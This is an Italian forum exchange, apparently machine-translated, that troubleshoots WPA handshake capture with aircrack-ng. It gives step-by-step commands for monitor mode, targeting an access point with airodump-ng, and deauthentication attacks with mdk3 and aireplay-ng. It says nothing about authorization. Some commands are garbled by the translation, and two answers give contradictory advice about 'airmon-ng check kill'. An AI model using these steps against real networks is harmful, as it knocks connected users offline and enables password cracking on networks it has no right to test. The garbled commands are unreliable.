Poche domande su aircrack-ng

Ok amico, ecco alcune note:

Per quanto riguarda il problema dell'handshake, dall'esperienza, potrebbe essere il seguente:

• Non sei abbastanza vicino al router, c'è la possibilità che non acquisirai l'handshake se il client è troppo vicino all'AP e il dispositivo in modalità monitor è relativamente lontano.
• Un problema hardware, il dispositivo di rete è vecchio e non compatibile, quindi non può acquisire pacchetti da altri protocolli. Ad esempio se il tuo dispositivo esegue 802.11ge la rete è 802.11n

Soluzione: in primo luogo, prova a catturare l'handshake da diverse posizioni fisiche, se non funziona, prova un altro dispositivo WiFi.

Nota:

Qualche risposta ai processi di kill che interferiscono con airmon-ng. Non utilizzare il comando
airmon-ng check kill perché si interrompe l'applicazione gestore di rete.

Non utilizzare il comando precedente per correggere l'errore del canale fisso -1, invece, usa i seguenti comandi quando avvii la modalità monitor:

• airmon-ng avvia wlan0
• ifconfig wlan0mon down
• monitor della modalità wlan0mon iwconfig
• ifconfig wlan0mon up

Ho un metodo semplice per fare ciò che stai tentando. Invece di usare aireplay-ng e airmon-ng, il seguente rimuoverà i problemi iniziali (o dovrebbe).

1.) iw
2.) mdk3

Anche se vedo che hai menzionato mdk3, l'attacco deauth dovrebbe funzionare con il seguente metodo.

Comandi:

ifconfig wlan0 down

... e poi,

iw wlan0 interface add mon0 type monitor

... e poi,

# Just to make sure mon0 is up.
ifconfig mon0 up

... e poi,

airodump-ng mon0

... trova il punto di accesso che desideri deauth e quindi

# Stop airodump-ng
crtl + c

# start airodump-ng on target AP.
airodump-ng mon0 --bssid (MAC here) --channel (AP channel here) --write /path/to/capfiles.pcap

... una volta che airodump-ng è in esecuzione e cattura nell'AP di destinazione, quindi esegui,

# Deauth attack.
mdk3 mon0 d -s 100 -c (AP channel here)

Per l'attacco deauth, puoi anche includere una lista bianca / nera di AP che desideri ignorare. Avrai bisogno di avere due terminali per questo semplice metodo. Dovresti solo aspettare un po 'prima che tutti i client collegati all'AP siano stupefatti. Tuttavia, tieni presente che, se non ci sono dispositivi collegati sull'AP, non sarai in grado di catturare eventuali strette di mano. Le handshake sono fatte quando un dispositivo si sta autenticando sull'AP.

Quando hai l'handshake, crtl + c per fermare mdk3 e airodump-ng. Il file cap verrà salvato nella directory specificata nell'opzione airodump-ng "--write".

Per rimuovere l'interfaccia mon0, eseguire il seguente comando:

# Remove mon0
iw mon0 del

E hai finito.

Se hai ancora problemi, non esitate a contattarmi su Facebook: Yokai Seishinkage.

(modifica) Prendete nota che ciò rimuove completamente la dipendenza dall'uso di airmon-ng, che rimuove anche i conflitti di servizio. Ma sarà comunque meglio usare questo metodo con wlan0 in basso per evitare problemi. Finora, funziona perfettamente per me.

Assicurati di eseguire airmon-ng check kill prima di passare alla modalità monitor per eliminare eventuali proc che potrebbero interferire con il monitoraggio. Anche nei tuoi tentativi di deauth, prova:

aireplay-ng -0 25 -a {BSSID} -c {ClientMAC} {interface}

Questo tutorial ha una buona spiegazione di come per eseguire l'attacco che stai cercando.

Consulta questo per vedere se la tua scheda è compatibile con aireplay-ng.